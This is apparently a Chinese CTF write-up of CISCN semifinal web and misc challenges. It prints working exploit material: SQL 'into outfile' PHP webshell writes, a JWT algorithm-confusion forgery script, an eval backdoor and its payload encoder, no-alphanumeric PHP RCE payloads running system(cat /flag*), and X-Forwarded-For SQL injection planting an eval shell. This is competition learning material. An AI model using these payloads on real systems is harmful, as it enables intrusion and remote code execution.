CISCN 复赛(华南赛区)部分wp

系统成了万人骑

扫出manager,进入后发现是后台,验证码不会刷新,可以爆破,账号密码

username:admin
password:admin

在工具->SQL高级助手里面可执行SQL语句,尝试写shell

select 1,2 union select 1,'<?php system("cat /flag");' into outfile '../../www/html/uploads/litimg/lz2y.php'

得到flag

我让你加密

注册一个账号,登录

可以注意到cookie是jwt

由于是RSA不可逆加密,所以直接爆破secret是不可能的,然后需要考虑将他转为HS256D对称加密,当时也没想到那个证书有啥用,直接转成HS256D了...现在才知道需要用证书来伪造

首先导出公钥

openssl x509 -in https_cert.crt -noout -pubkey > public.pem

然后用脚本生成cookie

import jwt
import datetime

dic = {
    'exp': datetime.datetime.now() + datetime.timedelta(days=1), 
    'iat': datetime.datetime.now(),  
    'name': 'admin',
}
public = open('public.pem', 'r').read() 
print public 
s = jwt.encode(dic, key=public, algorithm='HS256')  
print(s)
s = jwt.decode(s, key=public, algorithms=['HS256'])  
print(s)
print(type(s))

注意该脚本需要注释掉一些jwt包里面代码.要不然会报错

得到cookie

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpYXQiOjE2MDA4OTQ5MjgsIm5hbWUiOiJhZG1pbiIsImV4cCI6MTYwMDk4MTMyOH0.s82ao2N1DF1b2JJ89jU3ipSQrH54IQktRBZo5NEevf0

替换cookie可进入另一个页面

源码如下:

<?php

// PxParis maintenance shell, version 1.0.0
// Use this only in emergency situations!

require_once '../__config.php';
require_once '../__jwt_wrapper.php';

// --- sanity check

$name = jwt_verify();
if($name === false) {
    header('Refresh: 0; url=/login.php');

    die('Please login');
}

// --- DB operations

$sql = new SQLite3($USER_DB, SQLITE3_OPEN_READONLY);

$stmt = $sql->prepare('SELECT admin FROM users WHERE name = (?) LIMIT 1');
$stmt->bindValue(1, $name);
$result_obj = $stmt->execute();

$result = $result_obj->fetchArray();
if(!$result) {
    http_response_code(400);
    header('Refresh: 0; url=/');

    $result_obj->finalize();
    $sql->close();
    die('User does not exist (should not happen)');
}

// ---

$result_obj->finalize();
$sql->close();

if($result['admin']) {
    if(isset($_REQUEST['pxparis'])) {
        eval(zlib_decode(base64_decode($_REQUEST['pxparis'])));
    } else {
        //highlight_file(__FILE__);
        highlight_string(file_get_contents(__FILE__));
    }
} else {
    header('Refresh: 2; url=/');

    die('Only admin can view this page');
}

可以发现eval(zlib_decode(base64_decode($_REQUEST['pxparis'])));可以执行shell

生成payload如下

<?php
$str = 'phpinfo();';
$enc = zlib_encode($str, ZLIB_ENCODING_DEFLATE);
$lz2y = base64_encode($enc);
echo $lz2y . "<br>";
echo (zlib_decode(base64_decode($lz2y)));
?>

/**
eJwryCjIzEvL19C0BgAVxAOB
phpinfo();
**/

BreakThrough

显示源码

<?php
error_reporting(0);
highlight_file(__FILE__);
$check=$_GET['check'];//本行代码勿删，否则影响加固环节成绩
echo "<!--".$check."-->"; //本行代码勿删，否则影响加固环节成绩
if(isset($_GET['rce'])) {
    $rce = $_GET['rce'];
    if (preg_match("/[A-Za-z0-9$]+/",$rce)) {
        die("error1");
    }
    if (preg_match("/\~|\!|\@|\#|\%|\^|\&|\*|\（|\）|\-|\_|\{|\}|\[|\]|\"| |\:|\,/",$rce)) 	{
        die("error2");
    }
    eval($rce);
}
?>

我们需要执行eval($rce),前面有挺多限制,首先是[A-Za-z0-9$]+,应该考的是__无数字和字母的webshell__,然后这应该是他的升级版,过滤了$,然后继续往下看,发现过滤了一堆

preg_match("/\~|\!|\@|\#|\%|\^|\&|\*|\（|\）|\-|\_|\{|\}|\[|\]|\"| |\:|\,/",$rce)

异或非且,发现或没有被过滤,而且发现他居然过滤的是中文的（和）,空格也是没有转义,相当于没有过滤

应该是可以通过或操作将没有过滤的字符构造出我们想要的字母,写个脚本

<?php
$shell = "phpinfo";
$result1 = "";
$result2 = "";
for($num=0;$num<=strlen($shell);$num++)
{
    for($x=0;$x<=125;$x++)
    {
        if(judge(chr($x)))
        {
            for($y=0;$y<=125;$y++)
            {
                if(judge(chr($y)))
                {
                    $f = chr($x)|chr($y);
                    if($f == $shell[$num])
                    {
                        $result1 .= chr($x);
                        $result2 .= chr($y);
                        break 2;
                    }
                }
            }
        }
    }
}
echo 'GET:  '.'\'' . urlencode($result1) . '"|' . '"' .urlencode($result2) .'"<br>';
var_dump(chr(255));

function judge($c)
{
    if(!preg_match('/[a-z0-9]|\~|\!|\@|\#|\%|\^|\&|\*|\（|\）|\-|\_|\{|\}|\[|\]|\"|\ |\:|\,/is',$c))
    {
        return true;
    }
    return false;
}
/**
GET: '%10%08%10%09%0E%06%0F'|'%60%60%60%60%60%60%60'
**/

传参

?rce=(%27%10%08%10%09%0E%06%0F%27|%27%60%60%60%60%60%60%60%27)();

当时比赛就此搞不动了,之前见过一篇文章貌似可以用,但是没保存也不让上网查看资料,只能就罢

等等!!!我好像,在本地复现的时候发现可以直接

system(whoami);
/**
?rce=(%27%13%19%13%14%05%0D%27|%27%60%60%60%60%60%60%27)(%27%17%08%0F%01%0D%09%27|%27%60%60%60%60%60%60%27);
**/

直接执行系统命令???

当时队友跟我说这么搞,我还说php7特性这么操作是不行的...但也试了一下,比赛的时候死活不成功,当时赛题是开启了短标签的,当时测试过

?><? `whoami`?>

以为相当于<?php echo(shell_exec("whoami"));也没成功,现在发现需要

?><?= `whoami`?>

也在本地复现成功了...由于得不到当时的环境也不敢说啥

好吧,查看了wp,确实是可以这么搞的,中间的命令为字符串可以直接用.拼接

?rce=(%27``````%27|%27%13%19%13%14%05%0d%27)((%27```%27|%27%03%01%14%27).(%27%09/%27).(%27````%28%27|%27%06%0c%01%07%02%27));
/*
system(cat	/flag*);
*/

错过了一个亿?

so easy

smarty模板注入,先咕了,还没学过

系统成了千人骑

听说和万人骑差不多,弱密码进入后台,可以SQL写shell,但是现在也复现不了了,环境没拉下来,做题的时候自己把自己网站搞崩了,后来后台,phpmyadmin也进不去了,不愧是我

换了个IP

这题啊...我们看看源码吧...看下神奇的操作

    if(isset($_POST['username']) && isset($_POST['password'])){
        if(getenv('HTTP_CLIENT_IP')) {
            $ip = getenv('HTTP_CLIENT_IP');
          } elseif(getenv('HTTP_X_FORWARDED_FOR')) {
            $ip = getenv('HTTP_X_FORWARDED_FOR');
          } elseif(getenv('REMOTE_ADDR')) {
            $ip = getenv('REMOTE_ADDR');
          } else {
            $ip = $HTTP_SERVER_VARS['REMOTE_ADDR'];
          }
        
        $salt ='Satan1a';
        $username=$_POST['username'];
        $passwd=$_POST['password'];
        $changename=md5($username.$salt);
        $changepasswd=md5($passwd.$salt);
        $sql="SELECT * FROM users where username = '".$changename."' and password = '".$changepasswd."'";
        $result=$mysqli->query($sql);
        if ($result) {
            $row=$result->fetch_array();
        }else{
            echo '查询出错！';
        }
        $auth=($row['username']);
        if($auth===NULL){
            echo "<script>alert('用户名或者密码错误');history.go(-1);</script>";
        }
        else{
            $sql = "insert into login_ip (datetime,ip, username) values ('".date("Y-m-d h:i:s")."','".$ip."', '".$username."');";
            $mysqli->query($sql);
            $_SESSION["username"] = $username;
            echo "<script>alert('登录成功！');self.location='admin.php?action=welcome'; </script>";
            exit;
        }
    }else{
        include("templates/login.html");
        if(getenv('HTTP_CLIENT_IP')) {
            $ip = getenv('HTTP_CLIENT_IP');
          } elseif(getenv('HTTP_X_FORWARDED_FOR')) {
            $ip = getenv('HTTP_X_FORWARDED_FOR');
          } elseif(getenv('REMOTE_ADDR')) {
            $ip = getenv('REMOTE_ADDR');
          } else {
            $ip = $HTTP_SERVER_VARS['REMOTE_ADDR'];
          }
        $sql="select username from login_ip where ip='$ip'";
        $result=$mysqli->query($sql);
        if ($result) {
            $row=$result->fetch_array();
        }else{
            echo '查询出错！';
        }
        if ($row) {
            //
        }else{
            echo "<br><h3 align='center'>您正在新机器上登录系统，请检查登录环境是否安全</h3><br>";
        }
    }

???当时我测试过XFF伪造IP,然后SQL注入...但是谁能想到他需要没有username和password才能进入这个else循环啊...有亿点点脑洞

在header头里添加x-forwarded-for字段进行注入
x-forwarded-for：1' union select '<?php eval("cmd");?>' into outfile "/var/www/html/lz2y.php"

you can get flag easily

下载文件,压缩包里面的文件名就是

hidden_secret

拿到题目，是一个没有后缀名的文件

拿去kali用file看一下，是一个zip

然后把后缀名改一下，改成zip

然后解压 看到一个图片和一个压缩包

然后打开压缩包，发现有加密的两个文件

然后观察一下，加密的文件里面也有hahah.jpg，而且crc校验值一样

可以想到明文攻击

准备好两个压缩包，拿去ARCHPR，明文攻击一波

顺利拿到压缩包密码

pb-1`;ks

然后解压了，看到一个gif,是key.gif

一帧一帧看一下，发现一个二维码

然后识别一下，得到flag

flag{ni_chou_sha}

但是提交发现flag不对,真的服了,错的flag也不直接说...

其实是gif隐写,用stegsolve分析图像信息,可以发现这个gif动图的间隔时间分为10和20两种,考虑gif时间隐写。

将所有间隔时间分离出来：magick identify -format "%T" key.gif >out.txt
得到：1020201020201020102010101020101010102020102010201020102020202020102020101020201010202020101020201020202010201010

将10转化为1,20转换为1,得到二进制串：01101101010001000011010101011111011001100111001101110100

转为字符串：mD5_fst

md5加密： 046cb65e60a4774c76b4f99371e66f0d

根据题目提示ntfs，查看文件夹隐藏文件，在hidden_secret文件夹中发现隐藏文件flag.rar,提取出来，是加密文件夹，用上面得到的md5值作为密码解压压缩包，得到flag.txt，打开得到flag

Misc是队友写的,我也没去复现了